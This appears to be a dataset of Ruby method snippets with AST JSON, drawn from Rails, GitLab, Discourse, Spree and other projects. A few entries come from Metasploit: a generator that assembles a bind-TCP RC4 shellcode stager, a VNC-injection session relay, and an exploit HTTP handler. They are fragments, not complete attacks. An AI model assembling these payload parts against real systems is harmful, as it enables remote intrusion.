{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/bidirectional_destroy_dependencies_test.rb","start_line":36,"raw_source":"def test_bidirectional_dependence_when_destroying_item_with_has_one_association_fails_first_time\n    content = ContentWhichRequiresTwoDestroyCalls.find(1)\n\n    2.times { content.destroy }\n\n    assert_equal true, content.destroyed?\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_bidirectional_dependence_when_destroying_item_with_has_one_association_fails_first_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContentWhichRequiresTwoDestroyCalls\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"destroy\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"destroyed?\"]}]}]}]}","id":"deb82ae0-9182-4c3a-8020-25ccaae7094e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/workers/meetings/pdf/minutes/styles.rb","start_line":41,"raw_source":"def agenda_item_margins\n      resolve_margin(@styles.dig(:agenda_item, :margin))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"agenda_item_margins\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resolve_margin\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@styles\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"agenda_item\"]},{\"type\":\"sym\",\"children\":[\"margin\"]}]}]}]}","id":"07e08d3e-ee34-4996-9b9c-1e2ab7abbbd1"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20140612010718_move_profile_background_to_user_profiles.rb","start_line":12,"raw_source":"def down\n    add_column :users, :profile_background, :string, limit: 255\n\n    execute \"UPDATE users SET profile_background = (SELECT profile_background FROM user_profiles WHERE user_profiles.user_id = users.id)\"\n\n    remove_column :user_profiles, :profile_background\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"profile_background\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[255]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE users SET profile_background = (SELECT profile_background FROM user_profiles WHERE user_profiles.user_id = users.id)\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"user_profiles\"]},{\"type\":\"sym\",\"children\":[\"profile_background\"]}]}]}]}","id":"188aca90-9328-4ba7-9001-c6af146c3d57"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/http/handler/proc.rb","start_line":36,"raw_source":"def on_request(cli, req)\n    begin\n      procedure.call(cli, req)\n    rescue Errno::EPIPE, ::Errno::ECONNRESET, ::Errno::ENOTCONN, ::Errno::ECONNABORTED => e\n      elog('Proc::on_request: Client closed connection prematurely', LogSource, error: e)\n    rescue => e\n      elog('Proc::on_request', LogSource, error: e)\n      if self.server and self.server.context\n        exploit = self.server.context['MsfExploit']\n        if exploit\n          exploit.print_error(\"Exception handling request: #{$!}\")\n        end\n      end\n    end\n  end","complexity_score":22.3,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"procedure\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"req\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"EPIPE\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"ECONNRESET\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"ENOTCONN\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"ECONNABORTED\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"str\",\"children\":[\"Proc::on_request: Client closed connection prematurely\"]},{\"type\":\"const\",\"children\":[null,\"LogSource\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"str\",\"children\":[\"Proc::on_request\"]},{\"type\":\"const\",\"children\":[null,\"LogSource\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"server\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"server\"]},\"context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exploit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"server\"]},\"context\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MsfExploit\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit\"]},\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Exception handling request: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$!\"]}]}]}]},null]}]},null]}]}]},null]}]}]}","id":"96392d62-0128-4c1a-9c3e-ed0649fdfefd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250715040428_update_container_registry_protection_tag_rules_pattern_uniqueness.rb","start_line":30,"raw_source":"def down\n    add_concurrent_index TABLE_NAME,\n      [:project_id, :tag_name_pattern],\n      unique: true,\n      name: UNIQUE_INDEX_NAME\n\n    remove_concurrent_index_by_name TABLE_NAME, name: IMMUTABLE_INDEX_NAME\n    remove_concurrent_index_by_name TABLE_NAME, name: MUTABLE_INDEX_NAME\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"sym\",\"children\":[\"tag_name_pattern\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"UNIQUE_INDEX_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"IMMUTABLE_INDEX_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"MUTABLE_INDEX_NAME\"]}]}]}]}]}]}","id":"5c246b5f-41f6-41c4-9a56-0c227bc7f0ae"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/windows/bind_tcp_rc4.rb","start_line":41,"raw_source":"def generate_bind_tcp_rc4(opts={})\n    combined_asm = %Q^\n      cld                    ; Clear the direction flag.\n      call start             ; Call start, this pushes the address of 'api_call' onto the stack.\n      #{asm_block_api}\n      start:\n        pop ebp\n      #{asm_bind_tcp(opts)}\n      #{asm_block_recv_rc4(opts)}\n    ^\n    Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_bind_tcp_rc4\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"combined_asm\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      cld                    ; Clear the direction flag.\\n\"]},{\"type\":\"str\",\"children\":[\"      call start             ; Call start, this pushes the address of 'api_call' onto the stack.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"asm_block_api\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      start:\\n\"]},{\"type\":\"str\",\"children\":[\"        pop ebp\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"asm_bind_tcp\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"asm_block_recv_rc4\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"Shellcode\"]},\"assemble\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"X86\"]},\"new\"]},{\"type\":\"lvar\",\"children\":[\"combined_asm\"]}]},\"encode_string\"]}]}]}","id":"92824391-e866-4e00-8bb9-f5eebc084437"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/compare_controller.rb","start_line":204,"raw_source":"def define_environment\n    if compare\n      environment_params = if source_project.repository.branch_exists?(head_ref)\n                             { ref: head_ref }\n                           else\n                             { commit: compare.commit }\n                           end\n\n      environment_params[:find_latest] = true\n      @environment = ::Environments::EnvironmentsByDeploymentsFinder.new(\n        source_project,\n        current_user,\n        environment_params\n      ).execute.last\n    end\n  end","complexity_score":24.3,"ast_json":"{\"type\":\"def\",\"children\":[\"define_environment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compare\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"environment_params\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_project\"]},\"repository\"]},\"branch_exists?\",{\"type\":\"send\",\"children\":[null,\"head_ref\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"send\",\"children\":[null,\"head_ref\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compare\"]},\"commit\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"environment_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"find_latest\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@environment\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Environments\"]},\"EnvironmentsByDeploymentsFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"source_project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"environment_params\"]}]},\"execute\"]},\"last\"]}]}]},null]}]}","id":"a1c2d577-ecf0-4370-a4e7-9d74c2bbef7d"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/out_forward/failure_detector.rb","start_line":78,"raw_source":"def clear\n        @window.clear\n        @last = 0\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"clear\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@window\"]},\"clear\"]},{\"type\":\"ivasgn\",\"children\":[\"@last\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"c73b9512-49f2-4125-922c-0a10e42d8f84"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/post_revisor.rb","start_line":657,"raw_source":"def bypass_rate_limiter?\n    @opts[:bypass_rate_limiter] == true\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"bypass_rate_limiter?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bypass_rate_limiter\"]}]},\"==\",{\"type\":\"true\",\"children\":[]}]}]}","id":"2416bbc8-5216-4e23-b291-ec1fe3db1262"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/vncinject.rb","start_line":107,"raw_source":"def setup_relay(port, host = '127.0.0.1')\n    if (port)\n      self.vlhost = host\n      self.vlport = port\n\n      service = Rex::ServiceManager.start(Rex::Services::LocalRelay)\n\n      if (service)\n        begin\n          service.start_tcp_relay(port,\n            'LocalHost'         => host,\n            'Stream'            => true,\n            'OnLocalConnection' => Proc.new {\n\n              if (self.got_conn == true)\n                nil\n              else\n                self.got_conn = true\n\n                rstream\n              end\n            },\n            'OnConnectionClose' => Proc.new {\n\n              if (self.conn_eof == false)\n                print_status(\"VNC connection closed.\")\n                self.conn_eof = true\n\n                # Closing time\n                self.view.kill if self.view\n                self.view = nil\n                self.kill\n              end\n\n            },\n            '__RelayType'       => 'vncinject')\n        end\n      else\n        raise RuntimeError, \"Relay failed to start.\"\n      end\n    end\n  end","complexity_score":45.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_relay\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"port\"]},{\"type\":\"optarg\",\"children\":[\"host\",{\"type\":\"str\",\"children\":[\"127.0.0.1\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"vlhost=\",{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"vlport=\",{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"lvasgn\",\"children\":[\"service\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ServiceManager\"]},\"start\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Services\"]},\"LocalRelay\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"start_tcp_relay\",{\"type\":\"lvar\",\"children\":[\"port\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LocalHost\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stream\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"OnLocalConnection\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"got_conn\"]},\"==\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"got_conn=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"rstream\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"OnConnectionClose\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"conn_eof\"]},\"==\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"VNC connection closed.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"conn_eof=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"view\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"view\"]},\"kill\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"view=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"kill\"]}]},null]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"__RelayType\"]},{\"type\":\"str\",\"children\":[\"vncinject\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]},{\"type\":\"str\",\"children\":[\"Relay failed to start.\"]}]}]}]},null]}]}","id":"3e80736c-23aa-40e3-b6e1-867d909ec27d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/snippets_finder.rb","start_line":239,"raw_source":"def explore?\n    params[:explore].present?\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"explore?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"explore\"]}]},\"present?\"]}]}","id":"4116a816-6a8e-4c12-ac49-bae68e126300"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/update_service.rb","start_line":327,"raw_source":"def quick_action_options\n      {\n        merge_request_diff_head_sha: params.delete(:merge_request_diff_head_sha),\n        scope_validator: params[:scope_validator]\n      }\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"quick_action_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request_diff_head_sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"merge_request_diff_head_sha\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope_validator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scope_validator\"]}]}]}]}]}","id":"99b4eb00-6a1d-41e9-b768-078614c1a3bf"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/platform/resource_controller.rb","start_line":123,"raw_source":"def metadata_params\n            if model_class.include?(Metadata)\n              [{ public_metadata: {}, private_metadata: {} }]\n            else\n              []\n            end\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"metadata_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model_class\"]},\"include?\",{\"type\":\"const\",\"children\":[null,\"Metadata\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public_metadata\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_metadata\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"array\",\"children\":[]}]}]}","id":"145db17f-e5c5-469b-8309-17c94ed0bc78"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/gemspec/avoid_executing_git.rb","start_line":46,"raw_source":"def on_block(block_node)\n          return unless gem_specification(block_node)\n\n          block_node.descendants.each do |node|\n            next unless send_node?(node)\n\n            str = executes_string(node)\n\n            str.each do |execute_node, val|\n              break unless val.start_with?('git ')\n\n              add_offense(execute_node, message: message)\n            end\n          end\n        end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_block\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"block_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gem_specification\",{\"type\":\"lvar\",\"children\":[\"block_node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_node\"]},\"descendants\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_node?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"send\",\"children\":[null,\"executes_string\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"execute_node\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"git \"]}]},null,{\"type\":\"break\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"execute_node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"message\"]}]}]}]}]}]}]}]}]}]}","id":"fbee3d53-9a29-4e71-9ab0-e78d8658156f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/cli/metric.rb","start_line":83,"raw_source":"def formatted_output\n      extra_keys = event_metric? ? { events: events } : {}\n\n      METRIC_DEFAULTS\n        .merge(to_h.compact)\n        .merge(\n          time_frame: assign_time_frame,\n          key_path: key_path\n        ).merge(extra_keys)\n        .slice(*NEW_METRIC_FIELDS)\n        .transform_keys(&:to_s)\n        .to_yaml(line_width: 150)\n    end","complexity_score":23.4,"ast_json":"{\"type\":\"def\",\"children\":[\"formatted_output\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"extra_keys\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event_metric?\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"events\"]},{\"type\":\"send\",\"children\":[null,\"events\"]}]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"METRIC_DEFAULTS\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_h\"]},\"compact\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time_frame\"]},{\"type\":\"send\",\"children\":[null,\"assign_time_frame\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key_path\"]},{\"type\":\"send\",\"children\":[null,\"key_path\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"extra_keys\"]}]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NEW_METRIC_FIELDS\"]}]}]},\"transform_keys\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},\"to_yaml\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line_width\"]},{\"type\":\"int\",\"children\":[150]}]}]}]}]}]}","id":"6a470cc0-2cdd-4cbc-b27b-d7651802ed1e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/schema_dumper_test.rb","start_line":906,"raw_source":"def up\n            create_table(\"timestamps\")\n\n            add_column :timestamps, :this_should_change_to_timestamp, \"datetime\"\n            add_column :timestamps, :this_should_stay_as_timestamp, \"timestamp\"\n          end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"str\",\"children\":[\"timestamps\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"timestamps\"]},{\"type\":\"sym\",\"children\":[\"this_should_change_to_timestamp\"]},{\"type\":\"str\",\"children\":[\"datetime\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"timestamps\"]},{\"type\":\"sym\",\"children\":[\"this_should_stay_as_timestamp\"]},{\"type\":\"str\",\"children\":[\"timestamp\"]}]}]}]}","id":"d16130bb-90a0-4b23-ab40-787a1d4ec81e"}
